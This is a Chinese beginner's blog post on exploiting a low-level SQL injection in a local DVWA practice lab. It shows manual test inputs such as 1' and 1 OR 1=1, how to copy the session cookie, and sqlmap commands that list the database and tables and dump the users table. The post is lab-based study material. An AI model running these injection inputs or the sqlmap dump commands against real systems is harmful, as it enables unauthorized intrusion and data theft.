DVWA靶场上Low级别SQL注入漏洞学习

做了几年网络运维,最近想要从0开始系统的学习网络安全技术。于是安装了虚拟机和kali系统,从头开始学习。Kali Linux 官方软件源已经收录了 DVWA(Damn Vulnerable Web Application),可以直接通过 apt 命令一键安装。

##(一) Kali Linux系统上安装DVWA

1.打开终端,执行如下命令:

bash 复制代码
sudo apt update
sudo apt install dvwa

2.启动环境:

bash 复制代码
sudo dvwa-start

3.访问并初始化

打开浏览器,访问 http://127.0.0.1/dvwa/ 或 http://localhost/dvwa/。

点击页面底部的 Create / Reset Database 按钮。

使用默认账号登录:Username: admin,Password: password。

4.设置难度

登录后,在左侧菜单点击 DVWA Security,将安全级别设为 Low(初学者建议),点击 Submit 保存。

(二)手动测试漏洞

输入1'进行测试,如果页面报错,说明'被传进去,并破坏了SQL查询结构。如果页面正常显示,说明可能被过滤或者转义了。(可能存在漏洞,也可能没有漏洞)

1、输入1'进行测试时,如果报错分三种情况:

(1)后台代码为'id'(字符串型注入);

(2)后台代码为id(数字型注入);

(3)其他注入漏洞(盲注等)。

2、输入1'进行测试时,如果页面正常显示,可以尝试1 OR 1 = 1(可能存在盲注,盲注如果手动测试只能猜。比如通过折半查找猜数据库名称。)

结合测试的流程和可能出现的结果,根据自身理解画了一个逻辑图如下:

(三)用sqlmap工具测试

因为DVWA需要登录,所以利用sqlmap工具的时候需要先获得此时页面的cookie。

1、具体操作如下:

刷新页面:在 DVWA 的 SQL Injection 页面,按 F12 刷新一下。

找到正确的请求:在 Network 标签里,点击第一个以 sqli 开头的请求(通常是 GET sqli)。

查看请求头:在弹出的右侧面板中,找到 Request Headers 部分。

会看到类似这样的内容:

Cookie: PHPSESSID=abc123def456; security=low

把 PHPSESSID=abc123def456; security=low 完整地复制下来。

具体利用

2、利用sqlmap可以自动找出存在的注入漏洞类型,并进行利用,具体的操作步骤如下:

(1) 利用这条命令,可以自动找出存在的注入漏洞类型。一定要确保是登陆状态,如果不登陆(无?id=1&Submit=Submit)运行不成功,因为cookie是认证后的。正常的网站一般是不需要登录的。这里是在DVWA靶机上,环境必须登录。本人学习的时候登陆状态掉了,刚开始就一直不成功。

bash 复制代码
sqlmap -u "http://127.0.0.1:42001/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=自身cookie; security=low" --batch 

(2)下面这条命令是查看数据库名字的,同样需要登录平台。

bash 复制代码
sqlmap -u "http://127.0.0.1:42001/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=自身cookie; security=low" --current-db

(3)下面这条命令可以查看数据库里有几张表(显示结果有guestbook和users)。

bash 复制代码
sqlmap -u "http://127.0.0.1:42001/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=自身cookie; security=low" -D dvwa --tables

(4)下面这条命令可查看表users中有哪些字段,用什么类型数据进行存储。

bash 复制代码
sqlmap -u "http://127.0.0.1:42001/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=自身cookie; security=low" -D dvwa -T users --columns

(5)下面这条命令进行数据库脱库,可将users这张表下载下来。到此已经完成了漏洞的利用。得到数据库中信息后可以进行进一步的利用。

bash 复制代码
sqlmap -u "http://127.0.0.1:42001/vulnerabilities/sqli/?id=1&Submit=Submit" --cookie="PHPSESSID=自身cookie; security=low" -D dvwa -T users --dump 
相关推荐
freejackman2 小时前
【工程化】从“单兵作战”到“多引擎架构”:基于门面模式的重构实战
大数据·数据库·hive·sql·测试工具·设计模式·架构
东姬AI3 小时前
挖出948个内核漏洞、自动写补丁:GPT-6 Cyber把AI推进“实战岗“,内容行业还卡在哪一关?
人工智能·网络安全·openai·gpt-6
码途行者4 小时前
网站的SQL 注入:从攻击原理到防御措施
开发语言·sql·php
Decay__6 小时前
SQL Server 数据库全栈运维实战系列 — 合集索引(24 篇)
运维·数据库·sql·mysql·架构
Thanks_ks6 小时前
SQL 的 GROUP BY 与聚合函数:从会写 SELECT 到会做统计
数据库·sql·mysql·group by·数据统计·聚合函数·having
Decay__14 小时前
12_MySQL InnoDB 内存与锁调优 —— Buffer Pool、redo log、隔离级别与锁等待
运维·数据库·sql·mysql·架构
ppo_wu14 小时前
解决夸克网盘自动修改PDF打开方式的方法
经验分享·安全·网络安全
Decay__1 天前
14_MySQL 高可用与容灾架构 —— MGR / InnoDB Cluster / Keepalived+VIP / 双主 / 读写分离 / 两地三中心
运维·数据库·sql·mysql·架构
freejackman1 天前
【实战三】撕开脱敏盲区:深度解析 CASE WHEN 与窗口函数血缘
大数据·数据库·sql
codigger1 天前
线上数据库连接池打满:从应急止损到架构根治的完整方案
数据库·sql·程序员